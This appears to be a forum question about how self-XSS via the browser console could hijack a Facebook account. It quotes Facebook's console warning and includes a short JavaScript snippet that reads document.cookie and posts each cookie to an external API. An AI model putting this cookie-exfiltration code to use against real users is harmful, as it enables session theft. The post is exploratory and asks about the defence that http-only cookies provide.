I happened to open my browser console on Facebook recently and was greeted with the following message.
Stop!
This is a browser feature intended for developers. If someone told you to copy and paste something here to enable a Facebook feature or "hack" someone's account, it is a scam and will give them access to your Facebook account.
See https://www.facebook.com/selfxss for more information.
My first thought was this was simply over-kill maybe intended to scare away those unsuspecting internet peoples who would blindly copy and paste some javascript into the console in the hopes of unlocking a secret dislike button.
But I've actually been thinking more about how you could compromise a users session data from the Javascript console.
I thought about a script looping over the document.cookie
variable and posting all the cookie data to an api. Something similar to the below.
var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
for(var i=0 ; i < cookies.length ; ++i) {
var pair = cookies[i].trim().split('=');
xhr.send(JSON.stringify({
name: pair[0],
value: pair[1]
}));
}
But my understanding is that adding the http-only
flag to a cookie means it can't be accessed by javascript or client side.
So how could an attacker get you to compromise your facebook account purely by self-xss ?